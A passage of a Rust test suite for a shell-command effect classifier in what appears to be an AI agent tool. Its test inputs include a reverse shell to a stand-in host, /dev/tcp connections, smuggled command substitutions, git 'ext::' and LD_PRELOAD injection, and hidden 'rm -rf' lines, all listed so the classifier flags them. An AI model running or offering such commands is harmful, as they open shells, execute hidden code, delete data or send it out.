assert!(!effects.observation_only, "{not_understood}");
assert!(!effects.local_work_only, "{not_understood}");
}
}
#[test]
fn the_folders_a_read_only_command_looks_inside_are_named() {
assert_eq!(
looked_inside(INSPECT_SITES),
["claude-drupal", "claude-wordpress"]
);
assert_eq!(
looked_inside("ls -la /srv/www/shop/ && du -sh logs/2026"),
["shop", "logs"]
);
assert_eq!(
looked_inside("tree -L 2 src && find app -name '*.php'"),
["src", "app"]
);
assert!(looked_inside("ls ~ . .. $HOME *.txt").is_empty());
assert!(looked_inside("cat notes.txt").is_empty());
for not_only_looking in [
INSPECT_SITES.replace("ls -la $d | head -30", "rm -rf $d"),
INSPECT_SITES.replace("ls -la $d | head -30", "ls -la $d > notes.txt"),
"ls site && curl -s http://localhost:5173/".to_string(),
"ls site && cargo build".to_string(),
] {
assert!(
looked_inside(¬_only_looking).is_empty(),
"{not_only_looking}"
);
}
}
#[test]
fn a_command_card_carries_its_typed_effects() {
use aidaemon_core::{CardAction, HighImpact};
let card = command_card(INSPECT_SITES, Some("check the site folders".to_string()));
assert_eq!(card.impact, None);
assert!(matches!(
&card.action,
CardAction::Command { looks_inside, title: Some(_), line }
if looks_inside.len() == 2 && line == INSPECT_SITES
));
assert_eq!(
command_card("rm -rf build dist", None).impact,
Some(HighImpact::Deletes {
targets: vec!["build".to_string(), "dist".to_string()]
})
);
assert_eq!(
command_card("curl -X POST https://example.invalid/hook", None).impact,
Some(HighImpact::Sends)
);
}
#[test]
fn a_local_site_check_only_reads_this_computer() {
for read in [
"curl -s -o /dev/null -w '%{http_code}' https://shop-synthetic.localhost/",
"curl -sI https://127.0.0.1:8443/ | head -5",
"cd /tmp/site && ddev describe && curl -s http://localhost:5173/ | grep -c title",
INSPECT_SITES,
] {
assert!(only_reads_this_computer(read), "{read}");
}
for not_a_read in [
"curl -s -o page.html https://shop-synthetic.localhost/",
"curl -sSo page.html http://localhost:5173/",
"curl -s -c jar http://localhost:5173/",
"curl -s https://example.invalid/",
"curl -s -X POST http://localhost:5173/x",
"curl -s http://localhost:5173/ > page.html",
"wget http://localhost:5173/",
"ddev start",
"cargo build",
] {
assert!(!only_reads_this_computer(not_a_read), "{not_a_read}");
}
}
#[test]
fn ddev_status_queries_are_local_work() {
for query in [
"ddev describe",
"cd /srv/demo && ls -la ADMIN_PASSWORD.txt && ddev wp core is-installed; \
echo \"is-installed exit: $?\"; ddev wp option get siteurl",
"ddev wp core version --allow-root",
"ddev drush status --field=bootstrap",
"ddev wp plugin list --format=json",
] {
let effects = command_effects(query);
assert!(effects.local_work_only, "{query}");
assert!(!fetches_network(query), "{query}");
}
for other in [
"ddev start",
"ddev wp plugin install akismet",
"ddev wp core download",
"ddev wp --exec='echo 1;' option get siteurl",
"ddev wp option get siteurl --require=/tmp/x.php",
"ddev exec curl https://example.invalid",
"ddev ssh",
"ddev drush sql:drop",
"ddev",
] {
assert!(!command_effects(other).local_work_only, "{other}");
}
}
#[test]
fn path_effects_read_one_argument_one_way() {
for raw in ["/tmp/a]b", "/tmp/a[b", "~someone/x", "rel/x"] {
assert!(
path_effect(EffectClass::Write, raw, None).is_none(),
"{raw}"
);
assert!(
shell_path_effects(EffectClass::Write, raw, None).is_none(),
"{raw}"
);
}
assert_eq!(
structural_absolute_path("notes.txt", Some("/srv/app/")),
Some("/srv/app/notes.txt".to_string())
);
}
#[test]
fn xargs_path_operands_are_undeterminable() {
assert_eq!(path_operands("xargs cat < list.txt"), None);
assert_eq!(path_operands("cat list.txt | xargs cat"), None);
}
#[test]
fn local_work_and_delete_targets_are_typed_by_structure() {
for local in [
"cargo test > out.log 2>&1",
"cargo fmt\ncargo test",
"cd /tmp/aidaemon-test/p && git status",
"rm -f a.o b.o",
] {
assert!(command_effects(local).local_work_only, "{local}");
}
for other in [
"cargo test < input.txt",
"git -C /tmp/aidaemon-test/p commit -m x",
"npm install",
"sh -c 'cargo test'",
"cargo test # done",
"tee out.log",
"git rebase -x 'curl x' HEAD~1",
"git rebase --exec='curl x' HEAD~1",
"git rebase --exec 'curl x' HEAD~1",
"git commit -c HEAD",
"cargo test --config 'target.x.runner=\"sh\"'",
"cargo build --config=build.rustc-wrapper=x",
"make --eval='$x'",
"make -E x",
"make -E'$x'",
"go build --toolexec=x",
"go build -toolexec x ./...",
"go test -exec=x ./...",
"python3 /dev/stdin",
"python3 -",
"node /dev/fd/3",
"npm exec x",
"pnpm dlx x",
"yarn dlx x",
] {
assert!(!command_effects(other).local_work_only, "{other}");
}
for local in [
"git rebase main",
"make -j4 all",
"go test ./...",
"node scripts/x.js",
] {
assert!(command_effects(local).local_work_only, "{local}");
}
assert_eq!(
command_effects("rm -rf -- -odd build && find out -delete").delete_targets,
Some(vec!["-odd".into(), "build".into(), "out".into()])
);
for unknown in [
"rm \"$X\"",
"git clean -fd",
"xargs rm",
"rm `ls`",
"find -delete",
"find -L / -delete",
"rm -rf {a,b}",
"cd x && rm y",
] {
assert_eq!(command_effects(unknown).delete_targets, None, "{unknown}");
}
assert!(!command_effects("ls > out").observation_only);
}
#[test]
fn command_effects_types_observation_by_structure() {
for observing in [
"ls /tmp",
"git status",
"grep -r x .",
"cat a 2>&1 | head",
"ls > /dev/null",
"ls 2>/dev/null",
"echo 'a > b'",
"git branch --list",
"git branch",
"find . -name '*.rs'",
"date +%Y",
"date -u",
"date -u +%H:%M",
"date --utc",
"date -R",
"date -Iseconds",
"date --iso-8601=seconds",
"tree -a -L 2",
"uniq -c f",
"date",
"/usr/bin/ls",
"rg -n foo src",
"sort -u f",
"cat < /dev/null",
"test ! -e restart-check.txt",
"[ -f Cargo.toml ]",
"test -d src && ls src",
"sleep 18",
"sleep 0.5",
"sleep 2m",
"sleep 5 && cat out.log",
"TZ=Asia/Tokyo date '+%I:%M %p'",
"date -u '+%Y'; TZ=Europe/London date '+London %H'",
"for city in Asia/Tokyo Europe/Paris; do TZ=\"$city\" date '+%Z'; done",
"LC_ALL=C sort -u f",
"find . -maxdepth 1 -type f -name '*.rs' -exec stat -f '%z %N' {} + | sort -nr",
"find . -name '*.rs' -exec wc -l {} \\;",
"df -h /System/Volumes/Data; top -l 1 -n 0 | grep PhysMem; sysctl -n hw.memsize",
"top -b -n 1",
"sysctl -a",
"git branch --show-current && git rev-list --count master..HEAD && git log -1 --format=%s",
"sw_vers -productVersion; hostname; uptime",
"hostname -s",
] {
assert!(
command_effects(observing).observation_only,
"{observing} should be observation-only"
);
}
for mutating in [
"sleep infinity",
"sleep 5; curl example.invalid",
"sleep $(curl example.invalid)",
"rm -rf /tmp/aidaemon-test/x",
"ls /tmp; rm -rf /tmp/aidaemon-test/x",
"ls && rm x",
"cat a > b",
"echo x >> b",
"ls | xargs rm",
"ls | tee out",
"echo $(curl example.invalid)",
"echo \"$(curl example.invalid)\"",
"echo `id`",
"find . -delete",
"find . -exec rm {} ;",
"sed -i s/a/b/ f",
"sed -ni p f",
"sed --in-place p f",
"git push",
"git branch -D x",
"git clean -fd",
"python3 script.py",
"curl https://example.invalid",
"sh -c 'rm x'",
"cat a >&out",
"echo hi &> out",
"sort -o out in",
"git diff --output=out",
"uniq in out",
"echo 'unterminated",
"",
"ls; env -S 'rm x'",
"ls; env -S'rm x'",
"ls # <<EOF\nrm x\nEOF",
"ls\nrm x",
"cat <<EOF\nhi\nEOF",
"rg --pre rm x .",
"rg --pre=rm x .",
"rg --hostname-bin=rm x",
"rg -z foo",
"GIT_EXTERNAL_DIFF='rm -rf x' git diff",
"env GIT_EXTERNAL_DIFF=rm git diff",
"FOO=1 ls",
"PATH=/tmp ls",
"TZ=UTC PATH=/tmp date",
"LD_PRELOAD=x date",
"LC_ALL=C GIT_EXTERNAL_DIFF=x git diff",
"find . -exec rm {} +",
"find . -exec stat {} \\; -delete",
"find . -exec stat {}",
"find . -ok stat {} \\;",
"find . -exec sh -c 'rm x' \\;",
"hostname newname",
"hostname -F f",
"sysctl -w kern.x=1",
"sysctl kern.x=1",
"sysctl -p",
"sysctl --system",
"top",
"top -l 0",
"git branch --show-current -D x",
"env ls",
"git --config-env=core.fsmonitor=F status",
"git -c core.pager=x status",
"git diff --ext-diff",
"sort --compress-program=rm a",
"cat </dev/tcp/example.invalid/80",
"cat < f",
"date -s 2020-01-01",
"date -u -s 2020-01-01",
"date -u 010112002020",
"date 010112002020",
"date +%Y 010112002020",
"date +%Y +%m",
"date -us 2020-01-01",
"hostname evil",
"file -C -m m",
"sed -n p f",
"sed 's/a/b/w out' f",
"sed '1e rm x' f",
"(rm x)",
"{ rm x; }",
"sudo ls",
"nice ls",
"timeout 5 ls",
"/tmp/evil/ls",
"./ls",
"echo a #b",
"echo $'\\'' > out \\'",
"echo $'a\\'' ; rm -rf x ; echo \\'",
"echo $'a\\'' ; curl example.invalid ; echo \\'",
"uniq - out",
"uniq -c - out",
"tree -ao out",
"tree -R",
"tree --weird",
"git -C d status",
"git --git-dir=d status",
"git --git-dir d status",
"git --work-tree=d status",
] {
assert!(
!command_effects(mutating).observation_only,
"{mutating} should not be observation-only"
);
}
}
#[test]
fn remote_writes_are_read_from_option_structure() {
for writing in [
"curl --noproxy '*' --silent --request POST -H 'Content-Type: application/json' --data '{}' http://localhost:1/ping",
"curl -X POST http://localhost:1/x",
"curl -XDELETE http://localhost:1/x",
"curl -sd a=1 https://example.invalid",
"curl --json '{}' https://example.invalid",
"curl -F f=@a https://example.invalid",
"curl --upload-file a https://example.invalid",
"wget --post-data=a=1 https://example.invalid",
"wget --method PUT https://example.invalid",
"git push origin main",
"git -C repo push",
"cd x && curl -X PATCH https://example.invalid",
] {
assert!(sends_remote_write(writing), "{writing} sends a write");
}
for reading in [
"curl https://example.invalid",
"curl -sSL -o out https://example.invalid",
"curl -X GET https://example.invalid",
"curl --request=HEAD https://example.invalid",
"wget https://example.invalid",
"git pull",
"git log --grep push",
"ls",
] {
assert!(!sends_remote_write(reading), "{reading} only reads");
}
}
#[test]
fn fetches_network_by_executable_table() {
for fetching in [
"curl https://example.invalid",
"ls && wget x",
"git clone u",
"git -C d pull",
"npm install x",
"cargo add serde",
"sh -c 'ssh host'",
"gh pr list",
"sudo curl x",
"nice curl x",
"timeout 5 curl x",
"xargs curl",
"find . -exec curl {} ;",
"(curl x)",
"{ curl x; }",
"echo \"$(curl x)\"",
"cat </dev/tcp/example.invalid/80",
"pip3 -q install x",
"npm --prefix d install x",
"cargo +nightly install x",
"yarn",
"npm ci",
"npx foo",
"pnpm dlx foo",
"bunx foo",
"uvx foo",
"uv pip install x",
"pip download x",
"brew install x",
"go get x",
"docker pull x",
"gem install x",
"apt-get install x",
"svn up",
"hg pull",
"socat a b",
"openssl s_client -connect h:1",
"ping h",
"dig h",
"rclone ls r:",
"aws s3 ls",
"kubectl get pods",
"git remote update",
"git archive --remote=u HEAD",
"git push",
"npm publish",
"cargo publish",
"FOO=1 curl x",
] {
assert!(fetches_network(fetching), "{fetching}");
}
for local in [
"git status",
"npm test",
"cargo build",
"echo curl",
"ls",
"yarn test",
] {
assert!(!fetches_network(local), "{local}");
}
}
#[test]
fn ansi_c_quoting_over_reports_effects() {
for hidden in [
"echo $'a\\'' ; rm -rf x ; echo \\'",
"echo $'a\\'' ; curl example.invalid ; echo \\'",
] {
assert!(command_effects(hidden).deletes, "{hidden}");
assert!(fetches_network(hidden), "{hidden}");
}
}
#[test]
fn git_config_paths_are_structural() {
for path in [
"/repo/.git/config",
".git/hooks/pre-commit",
"a/.git",
"/repo/sub/.gitattributes",
".gitmodules",
"C:\\repo\\.git\\config",
] {
assert!(is_git_config_path(path), "{path}");
}
for path in [
"/repo/.github/x.yml",
"/repo/src/git.rs",
"a/.gitignore",
"/repo/gitattributes",
] {
assert!(!is_git_config_path(path), "{path}");
}
}
#[test]
fn git_config_path_detection_is_case_insensitive_and_global() {
for path in [
".GIT/config",
"repo/.Git/config",
"repo/.GITATTRIBUTES",
"repo/.GITMODULES",
"repo/.git./config",
"repo/.git /config",
"./repo/x/../.git/config",
"~/.gitconfig",
"$HOME/.gitconfig",
"${HOME}/.gitconfig",
"~/.config/git/attributes",
"~/.config/git/config",
"~/.config/../.config/git/ignore",
"/etc/gitconfig",
"/etc/./gitconfig",
"/srv/user/.GITCONFIG",
] {
assert!(is_git_config_path(path), "{path}");
}
if let Some(home) = dirs::home_dir() {
let absolute = home.join(".config").join("git").join("attributes");
assert!(is_git_config_path(&absolute.to_string_lossy()));
}
for path in [
"repo/src/git.rs",
"repo/.github/workflows/x.yml",
"repo/.gitignore",
"repo/.GITHUB/x.yml",
"/etc/gitconfig.d/x",
"repo/config/git.toml",
] {
assert!(!is_git_config_path(path), "{path}");
}
}
#[test]
fn command_words_naming_git_config_are_detected() {
for command in [
"cp x ~/.gitconfig",
"echo x > ~/.gitconfig",
"echo x >>.git/config",
"git config --file=$HOME/.gitconfig a.b c",
"sh -c 'cp x .GIT/hooks/pre-commit'",
"echo \"$(cp x /etc/gitconfig)\"",
"cp x \"repo/.gitattributes\"",
] {
assert!(command_names_git_config_path(command), "{command}");
}
for command in ["cp x y", "cat .gitignore", "ls .github", "git status"] {
assert!(!command_names_git_config_path(command), "{command}");
}
}
#[test]
fn command_effects_flags_deletion_structurally() {
for deleting in [
"rm x",
"find . -delete",
"git clean -fd",
"ls; rmdir d",
"sh -c 'unlink x'",
"ls | xargs rm",
"find . -exec shred {} ;",
"sudo rm x",
"nice rm x",
"timeout 5 rm x",
"(rm x)",
"{ rm x; }",
"exec rm x",
"echo \"$(rm x)\"",
"FOO=1 rm x",
] {
assert!(command_effects(deleting).deletes, "{deleting}");
}
for benign in [
"ls",
"git status",
"echo rm",
"grep rm file",
"find . -name x",
] {
assert!(!command_effects(benign).deletes, "{benign}");
}
}
fn egress(target: &str) -> EffectKey {
EffectKey {
class: EffectClass::Egress,
target: target.to_string(),
}
}
fn canonical(path: &str) -> String {
let path = std::path::Path::new(path);
for ancestor in path.ancestors() {
if let Ok(real) = dunce::canonicalize(ancestor) {
let rest = path.strip_prefix(ancestor).unwrap();
return real
.join(rest)
.to_string_lossy()
.trim_end_matches('/')
.to_string();
}
}
unreachable!()
}
fn synthetic_dir() -> String {
format!("/tmp/aidaemon-test/{}", uuid::Uuid::new_v4())
}
#[test]
fn ipv6_bracketed_and_bare_hosts_match() {
assert_eq!(
egress_effect("http", "[::1]", Some(8765)),
egress_effect("http", "::1", Some(8765))
);
assert_eq!(
egress_effect("http", "[::1]", Some(8765)),
Some(egress("::1:8765"))
);
assert_eq!(
url_effect("http://[::1]:8765/announce"),
Some(egress("::1:8765"))
);
assert_eq!(
shell_call_effects("nc ::1 8765", None).keys,
vec![egress("::1:8765")]
);
}
#[test]
fn existing_path_declared_canonically() {
let dir = tempfile::tempdir().unwrap();
let real = dir.path().join("real");
std::fs::create_dir(&real).unwrap();
let link = dir.path().join("link");
#[cfg(unix)]
std::os::unix::fs::symlink(&real, &link).unwrap();
#[cfg(not(unix))]
return;
let real_canonical = dunce::canonicalize(&real).unwrap();
let existing = path_effect(EffectClass::Write, link.to_str().unwrap(), None).unwrap();
assert_eq!(existing.target, real_canonical.to_string_lossy());
let new_file = path_effect(
EffectClass::Write,
&format!("{}/f.txt", link.to_str().unwrap()),
None,
)
.unwrap();
assert_eq!(
new_file.target,
real_canonical.join("f.txt").to_string_lossy()
);
let relative =
path_effect(EffectClass::Write, "f.txt", Some(link.to_str().unwrap())).unwrap();
assert_eq!(relative, new_file);
assert_eq!(path_effect(EffectClass::Write, "f.txt", None), None);
let removed = path_effect(EffectClass::Delete, link.to_str().unwrap(), None).unwrap();
assert_eq!(
removed.target,
dunce::canonicalize(dir.path())
.unwrap()
.join("link")
.to_string_lossy()
);
}
#[test]
fn network_programs_declare_their_hosts() {
let cases: &[(&str, &[&str])] = &[
(
"ssh deploy@h.example.invalid uptime",
&["h.example.invalid:22"],
),
("ssh -p 2222 h.example.invalid", &["h.example.invalid:2222"]),
(
"ssh ssh://h.example.invalid:2200",
&["h.example.invalid:2200"],
),
("nc -z h.example.invalid 25", &["h.example.invalid:25"]),
(
"http POST https://api.example.invalid/v1 name=x",
&["api.example.invalid:443"],
),
];
for (command, hosts) in cases {
let effects = shell_call_effects(command, None);
assert!(!effects.complete, "{command}");
let egress: Vec<_> = effects
.keys
.iter()
.filter(|key| key.class == EffectClass::Egress)
.map(|key| key.target.as_str())
.collect();
assert_eq!(&egress, hosts, "{command}");
}
}
#[test]
fn local_file_effects_are_declared_with_their_class() {
let dir = synthetic_dir();
let key = |class: EffectClass, path: &str| EffectKey {
class,
target: canonical(path),
};
let cases: Vec<(String, Vec<EffectKey>)> = vec![
(
format!("rm -rf {dir}/build"),
vec![key(EffectClass::Delete, &format!("{dir}/build"))],
),
(
format!("cp a.txt {dir}/b.txt"),
vec![key(EffectClass::Write, &format!("{dir}/b.txt"))],
),
(
format!("mv {dir}/a {dir}/b"),
vec![
key(EffectClass::Delete, &format!("{dir}/a")),
key(EffectClass::Write, &format!("{dir}/b")),
],
),
(
format!("printf x | tee -a {dir}/log"),
vec![key(EffectClass::Write, &format!("{dir}/log"))],
),
(
format!("curl -o {dir}/page.html https://a.example.invalid/"),
vec![
key(EffectClass::Write, &format!("{dir}/page.html")),
egress("a.example.invalid:443"),
],
),
(
format!("scp h.example.invalid:/srv/x {dir}/x"),
vec![
egress("h.example.invalid:22"),
key(EffectClass::Write, &format!("{dir}/x")),
],
),
];
for (command, expected) in cases {
let effects = shell_call_effects(&command, None);
assert!(!effects.complete, "{command}");
let mut keys = effects.keys.clone();
let mut expected = expected.clone();
keys.sort_by(|a, b| a.target.cmp(&b.target));
expected.sort_by(|a, b| a.target.cmp(&b.target));
assert_eq!(keys, expected, "{command}");
}
}
#[test]
fn undeterminable_segments_make_effects_incomplete() {
for command in [
"bash run.sh",
"python3 tool.py",
"rm build",
"echo x > out.txt",
"cd /tmp/aidaemon-test && rm -rf x",
"curl -O https://a.example.invalid/f",
"curl --frobnicate https://a.example.invalid/",
"wget https://a.example.invalid/f",
"cargo build",
"git commit -m x",
"rm $TARGET",
"echo $(curl https://a.example.invalid/)",
"ssh -o ProxyCommand=x h.example.invalid",
] {
assert!(!shell_call_effects(command, None).complete, "{command}");
}
let partial = shell_call_effects("curl https://a.example.invalid/ && bash run.sh", None);
assert!(!partial.complete);
assert_eq!(partial.keys, vec![egress("a.example.invalid:443")]);
let dir = synthetic_dir();
let resolved = shell_call_effects("rm build", Some(&dir));
assert!(!resolved.complete);
assert_eq!(resolved.keys[0].target, canonical(&format!("{dir}/build")));
for observation in ["ls -la", "echo hi", "cat a | grep b"] {
let effects = shell_call_effects(observation, None);
assert!(
effects.keys.is_empty() && !effects.complete,
"{observation}"
);
assert!(effects.understood, "{observation}");
}
for command in ["bash run.sh", "echo x > out.txt", "rm $TARGET"] {
assert!(!shell_call_effects(command, None).understood, "{command}");
}
}
#[test]
fn a_literal_cd_moves_where_later_paths_resolve() {
let dir = synthetic_dir();
let first = shell_call_effects(
&format!(
"cd {dir}\ncp -R tmp-drupal/. ./\necho \"copy exit: $?\"\nrm -rf tmp-drupal\nls -a"
),
None,
);
assert!(!first.complete);
assert!(first.keys.contains(&write(&dir)), "{:?}", first.keys);
assert!(
first.keys.contains(&delete(&format!("{dir}/tmp-drupal"))),
"{:?}",
first.keys
);
let reworded = shell_call_effects(
&format!("cd {dir} && cp -R tmp-drupal/. ./ ; ls -a"),
Some("/tmp/aidaemon-test/elsewhere"),
);
assert!(
reworded
.keys
.iter()
.any(|key| first.keys.iter().any(|declined| declined.overlaps(key)))
);
let nested = shell_call_effects("cd sub || exit 1\nrm -f x", Some(&dir));
assert_eq!(nested.keys, vec![delete(&format!("{dir}/sub/x"))]);
for command in [
format!("cd {dir} | true\nrm -f x"),
format!("cd {dir} & rm -f x"),
format!("(cd {dir}) ; rm -f x"),
"cd $HOME && rm -f x".to_string(),
"cd - && rm -f x".to_string(),
format!("pushd {dir} && rm -f x"),
] {
let effects = shell_call_effects(&command, None);
assert!(effects.keys.is_empty(), "{command}: {:?}", effects.keys);
}
}
enum Expect {
Incomplete,
Exact(Vec<EffectKey>),
Within(Vec<EffectKey>),
}
fn write(path: &str) -> EffectKey {
EffectKey {
class: EffectClass::Write,
target: canonical(path),
}
}
fn delete(path: &str) -> EffectKey {
EffectKey {
class: EffectClass::Delete,
target: canonical(path),
}
}
#[test]
fn under_declaration_corpus() {
use Expect::{Exact, Incomplete, Within};
let w = "/tmp/aidaemon-test/w";
let cases: Vec<(&str, Expect)> = vec![
("cd /etc && echo x > f", Incomplete),
("pushd /etc && rm -f f", Incomplete),
("popd; echo x > f", Incomplete),
("cd /tmp && curl https://a.example.invalid/", Incomplete),
("git clone -u ./x https://a.example.invalid/r", Incomplete),
("git pull -s ours https://a.example.invalid/r", Incomplete),
("curl 'https://{a,b}.example.invalid/'", Incomplete),
("curl https://{a,b}.example.invalid/", Incomplete),
("ssh {a,b}.example.invalid", Incomplete),
("scp f {a,b}.example.invalid:", Incomplete),
("nc {a,b}.example.invalid 80", Incomplete),
("curl 'https://a*.example.invalid/'", Incomplete),
("curl 'https://a,b.example.invalid/'", Incomplete),
("curl 'https://[a-b].example.invalid/'", Incomplete),
("ssh 'a?.example.invalid'", Incomplete),
(
"curl 'https://a.example.invalid\\@b.example.invalid/'",
Incomplete,
),
(
"curl 'https://u@a.example.invalid@b.example.invalid/'",
Incomplete,
),
(
"wget -O- 'http://a.example.invalid\\@b.example.invalid/'",
Incomplete,
),
("curl 'https://a.example.invalid /'", Incomplete),
("curl 'https://ä.example.invalid/'", Incomplete),
(
"git ls-remote 'https://a.example.invalid\\@b.example.invalid/r'",
Incomplete,
),
("rsync --port=8730 f h.example.invalid:d", Incomplete),
(
"rsync --port=8730 f rsync://h.example.invalid/m/",
Incomplete,
),
(
"curl -x http://p.example.invalid https://a.example.invalid/",
Incomplete,
),
(
"curl -x socks5://p.example.invalid https://a.example.invalid/",
Incomplete,
),
(
"curl --proxy http://p.example.invalid:3128 https://a.example.invalid/",
Incomplete,
),
(
"curl --socks5 p.example.invalid:1080 https://a.example.invalid/",
Incomplete,
),
(
"ALL_PROXY=socks5://p.example.invalid curl https://a.example.invalid/",
Incomplete,
),
("curl ftp.example.invalid/f", Incomplete),
("curl a.example.invalid/x", Incomplete),
("curl @file", Incomplete),
("http :8080/health", Incomplete),
("wget -O- a.example.invalid", Incomplete),
("git pull https://a.example.invalid/r", Incomplete),
("git fetch https://a.example.invalid/r", Incomplete),
("git push https://a.example.invalid/r main", Incomplete),
(
"git clone https://a.example.invalid/r /tmp/aidaemon-test/c",
Incomplete,
),
("git clone https://h.example.invalid/a.bundle", Incomplete),
("git ls-remote https://a.example.invalid/r", Incomplete),
(
"git ls-remote --heads https://a.example.invalid/r",
Incomplete,
),
(
"rsync -b --backup-dir=/tmp/aidaemon-test/other src/ /tmp/aidaemon-test/dst/",
Incomplete,
),
(
"rsync -T /tmp/aidaemon-test/t src/ /tmp/aidaemon-test/dst/",
Incomplete,
),
(
"rsync --temp-dir=/tmp/aidaemon-test/t src/ /tmp/aidaemon-test/dst/",
Incomplete,
),
(
"rsync --partial-dir=.p src/ /tmp/aidaemon-test/dst/",
Incomplete,
),
(
"rsync --log-file=/tmp/aidaemon-test/l src/ /tmp/aidaemon-test/dst/",
Incomplete,
),
("rsync -e ssh a h.example.invalid:d", Incomplete),
(
"rsync -av /tmp/aidaemon-test/src/ /tmp/aidaemon-test/dst/",
Exact(vec![write("/tmp/aidaemon-test/dst")]),
),
(
"ssh h.example.invalid somecmd -p 2222",
Exact(vec![egress("h.example.invalid:22")]),
),
("cp -b a /tmp/aidaemon-test/f", Incomplete),
("cp --backup a /tmp/aidaemon-test/f", Incomplete),
(
"mv -b /tmp/aidaemon-test/a /tmp/aidaemon-test/f",
Incomplete,
),
(
"curl -o /tmp/aidaemon-test/x https://a.example.invalid/",
Exact(vec![
write("/tmp/aidaemon-test/x"),
egress("a.example.invalid:443"),
]),
),
("curl -K cfg https://a.example.invalid/", Incomplete),
("curl --config cfg https://a.example.invalid/", Incomplete),
("curl -O https://a.example.invalid/f", Incomplete),
(
"curl --resolve a.example.invalid:443:127.0.0.1 https://a.example.invalid/",
Incomplete,
),
(
"curl --connect-to ::127.0.0.1: https://a.example.invalid/",
Incomplete,
),
(
"curl -d @file https://a.example.invalid/",
Exact(vec![egress("a.example.invalid:443")]),
),
(
"curl -X POST https://a.example.invalid/x -d '{}'",
Exact(vec![egress("a.example.invalid:443")]),
),
("curl $URL", Incomplete),
("curl \"$(cat u)\"", Incomplete),
(
"curl https://a.example.invalid/ https://b.example.invalid/",
Exact(vec![
egress("a.example.invalid:443"),
egress("b.example.invalid:443"),
]),
),
(
"curl -w '%output{/tmp/x}' https://a.example.invalid/",
Incomplete,
),
("curl http://[::1]:8765/", Incomplete),
("wget -i list", Incomplete),
("wget -e robots=off https://a.example.invalid/", Incomplete),
("wget -r https://a.example.invalid/", Incomplete),
("wget -P /tmp https://a.example.invalid/", Incomplete),
("wget https://a.example.invalid/f", Incomplete),
(
"wget -qO- http://b.example.invalid:8080/y",
Exact(vec![egress("b.example.invalid:8080")]),
),
("git push origin main", Incomplete),
(
"git -C /tmp/aidaemon-test/r push https://a.example.invalid/r",
Incomplete,
),
("git clone 'ext::sh -c x'", Incomplete),
(
"git clone --upload-pack=x https://a.example.invalid/r",
Incomplete,
),
(
"git push --receive-pack=x https://a.example.invalid/r",
Incomplete,
),
("git commit -m x", Incomplete),
("git status", Incomplete),
("git diff", Incomplete),
("git log --oneline", Incomplete),
("git show HEAD", Incomplete),
("git rev-parse HEAD", Incomplete),
("git branch --list", Incomplete),
("ls -la && git status", Incomplete),
("ssh -o ProxyCommand=x h.example.invalid", Incomplete),
("ssh -F cfg h.example.invalid", Incomplete),
("ssh -J j.example.invalid h.example.invalid", Incomplete),
("ssh -W x:1 h.example.invalid", Incomplete),
(
"scp /tmp/aidaemon-test/a b.example.invalid:",
Exact(vec![egress("b.example.invalid:22")]),
),
("nc -l 8080", Incomplete),
("nc -e /bin/sh h.example.invalid 80", Incomplete),
(
"nc -x p.example.invalid:1080 h.example.invalid 80",
Incomplete,
),
("python3 -m http.server", Incomplete),
(
"cp -r /tmp/aidaemon-test/src /tmp/aidaemon-test/dst",
Exact(vec![write("/tmp/aidaemon-test/dst")]),
),
(
"mv /tmp/aidaemon-test/a /tmp/aidaemon-test/b /tmp/aidaemon-test/c/",
Exact(vec![
write("/tmp/aidaemon-test/c"),
delete("/tmp/aidaemon-test/a"),
delete("/tmp/aidaemon-test/b"),
]),
),
(
"tee -a /tmp/aidaemon-test/f",
Exact(vec![write("/tmp/aidaemon-test/f")]),
),
("echo x >&2", Exact(vec![])),
(
"echo x >| /tmp/aidaemon-test/f",
Exact(vec![write("/tmp/aidaemon-test/f")]),
),
(
"echo x &> /tmp/aidaemon-test/f",
Exact(vec![write("/tmp/aidaemon-test/f")]),
),
(
"echo x 2> /tmp/aidaemon-test/f",
Exact(vec![write("/tmp/aidaemon-test/f")]),
),
(
"echo x >& /tmp/aidaemon-test/f",
Exact(vec![write("/tmp/aidaemon-test/f")]),
),
("echo x > 'out file'", Incomplete),
("exec 3> /tmp/aidaemon-test/f", Incomplete),
("cat <> /tmp/aidaemon-test/f", Incomplete),
("cat <<EOF\nx\nEOF", Incomplete),
("echo $'x'", Incomplete),
("cat < /dev/tcp/h.example.invalid/80", Incomplete),
("xargs rm", Incomplete),
("find . -exec rm {} \\;", Incomplete),
("sh -c 'rm /tmp/aidaemon-test/x'", Incomplete),
("env X=1 rm /tmp/aidaemon-test/x", Incomplete),
("command rm /tmp/aidaemon-test/x", Incomplete),
("nohup rm /tmp/aidaemon-test/x", Incomplete),
("timeout 5 rm /tmp/aidaemon-test/x", Incomplete),
("sudo rm /tmp/aidaemon-test/x", Incomplete),
("time rm /tmp/aidaemon-test/x", Incomplete),
("{ rm /tmp/aidaemon-test/x; }", Incomplete),
("( rm /tmp/aidaemon-test/x )", Incomplete),
("X=1 rm /tmp/aidaemon-test/x", Incomplete),
("rm -- -rf", Exact(vec![delete("/tmp/aidaemon-test/w/-rf")])),
(
"git ls-remote git@git.example.invalid:acme/repo.git",
Incomplete,
),
(
"unlink /tmp/aidaemon-test/x",
Exact(vec![delete("/tmp/aidaemon-test/x")]),
),
("rm /tmp/aidaemon-test/*.o", Incomplete),
("rm ~other/x", Incomplete),
("rm /tmp/aidaemon-test/a\\ b", Incomplete),
("shred /tmp/aidaemon-test/x", Incomplete),
("truncate -s0 /tmp/aidaemon-test/x", Incomplete),
("dd of=/tmp/aidaemon-test/x", Incomplete),
("install a /tmp/aidaemon-test/b", Incomplete),
("ln -s a /tmp/aidaemon-test/b", Incomplete),
("chmod 600 /tmp/aidaemon-test/x", Incomplete),
(
"curl https://a.example.invalid/ | grep x; echo y > /tmp/aidaemon-test/f || true",
Exact(vec![
egress("a.example.invalid:443"),
write("/tmp/aidaemon-test/f"),
]),
),
("bash x && curl https://a.example.invalid/", Incomplete),
("echo {a,b} > /tmp/aidaemon-test/f", Incomplete),
("echo * > /tmp/aidaemon-test/f", Incomplete),
(
"curl -H \"X: $TOKEN\" https://a.example.invalid/",
Incomplete,
),
(
"cat <<'EOF'\ncurl https://a.example.invalid/\nEOF",
Exact(vec![]),
),
(
"cat <<EOF > /tmp/aidaemon-test/f\nrm -rf /tmp/aidaemon-test/keep\nEOF",
Exact(vec![write("/tmp/aidaemon-test/f")]),
),
(
"cat <<-EOF\n\tcurl https://a.example.invalid/\n\tEOF\ncurl https://b.example.invalid/",
Exact(vec![egress("b.example.invalid:443")]),
),
("echo x # ; rm -rf /tmp/aidaemon-test/w/keep", Exact(vec![])),
(
"echo x #\ncurl https://b.example.invalid/",
Exact(vec![egress("b.example.invalid:443")]),
),
(
